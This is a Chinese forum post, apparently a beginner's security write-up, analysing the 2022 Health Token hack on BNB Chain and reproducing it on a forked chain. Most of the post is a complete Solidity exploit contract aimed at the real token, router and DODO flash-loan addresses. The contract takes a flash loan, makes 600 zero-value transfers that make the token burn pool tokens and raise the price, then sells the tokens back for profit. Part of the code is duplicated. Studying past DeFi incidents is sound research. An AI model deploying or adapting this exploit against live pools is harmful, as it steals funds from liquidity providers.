首页
社区
课程
招聘
区块链安全学习 - Health Token被黑分析
发表于: 2022-11-26 00:17 13639

区块链安全学习 - Health Token被黑分析

2022-11-26 00:17
13639

攻击交易:

https://phalcon.blocksec.com/tx/bsc/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf

攻击者通过dodo闪电贷获取了40个WBNB,通过pancakeSwap的Router兑换了30565652268756555675523626个
图片描述
相同数目的Health token应该只能swap出个40000000000000000000
图片描述
但是却兑换出了56641927146106351887,归还闪电贷后,至此黑客获利16641927146106351887。也就是16BNB

通过观察交易,发现黑客发送了大量的 transfer 。去看合约代码

发现在 transfer 函数中,如果满足了条件,它就会销毁流动池中的Health代币。从而导致Health兑换WBNB的价格增高。

图片描述

我们同样也去dodo借一笔闪电贷,然后去模拟运行一下。fork bsc 22337426区块

去tenderly模拟,因为循环次数过多,我们需要拉高gas
图片描述

图片描述

成功获利13个BNB

感谢在学习过程中33提供的帮助。

本人初学,如有错漏之处,敬请指正

 
 
 
 
 
pragma solidity ^0.8.0;
interface IERC20 {
 
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address to, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
 
interface Uni_Router_V2 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] memory path,
        address to,
        uint256 deadline
  ) external;
}
 
 
interface IDPPAdvanced {
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;
}
 
interface IWBNB {
    function balanceOf(address account) external view  returns (uint256);
    function withdraw(uint wad) external;
    function deposit() external payable;
    function approve(address guy, uint wad) external returns (bool);
}
 
interface IPancakeRouter {
    function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
interface IHealth {
    function balanceOf(address account) external view  returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}
 
interface IPancakePair {
    function skim(address to) external;
    function sync() external;
}
 
struct DPPAdvancedCallBackData {
    uint256 baseAmount;
    uint256 quoteAmount;
}
 
 
 
 
 
contract ContractTest{
    IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 uni_pair = Uni_Router_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);
    Uni_Router_V2 uni_router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address public constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
 
    function testExp() external{
 
        WBNB.approve(address(uni_router), type(uint).max);
        HEALTH.approve(address(uni_router),type(uint).max);
 
        uint256 borrown_wbnb_amt = 200 * 1e18;
        DPPAdvancedCallBackData memory callbackData;
        callbackData.baseAmount = borrown_wbnb_amt;
        callbackData.quoteAmount = 0;
        bytes memory data = abi.encode(callbackData);
 
        IDPPAdvanced(dodo).flashLoan(borrown_wbnb_amt,0,address(this),data);
 
    }
 
    fallback() external payable {
    }
 
    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external {
        WBNBToHEALTH();
        for(uint i = 0; i < 600; i++){
            HEALTH.transfer(address(this), 0);
        }
        HEALTHToWBNB();
        WBNB.transfer(dodo, 200 * 1e18);
    }
 
 
    function WBNBToHEALTH() internal{
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(HEALTH);
        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function HEALTHToWBNB() internal{
        address[] memory path = new address[](2);
        path[0] = address(HEALTH);
        path[1] = address(WBNB);
        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            HEALTH.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}
pragma solidity ^0.8.0;
interface IERC20 {
 
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address to, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
 
interface Uni_Router_V2 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] memory path,
        address to,
        uint256 deadline
  ) external;
}
 
 
interface IDPPAdvanced {
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;
}
 
interface IWBNB {
    function balanceOf(address account) external view  returns (uint256);
    function withdraw(uint wad) external;
    function deposit() external payable;
    function approve(address guy, uint wad) external returns (bool);
}
 
interface IPancakeRouter {
    function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
interface IHealth {
    function balanceOf(address account) external view  returns (uint256);

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 9
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//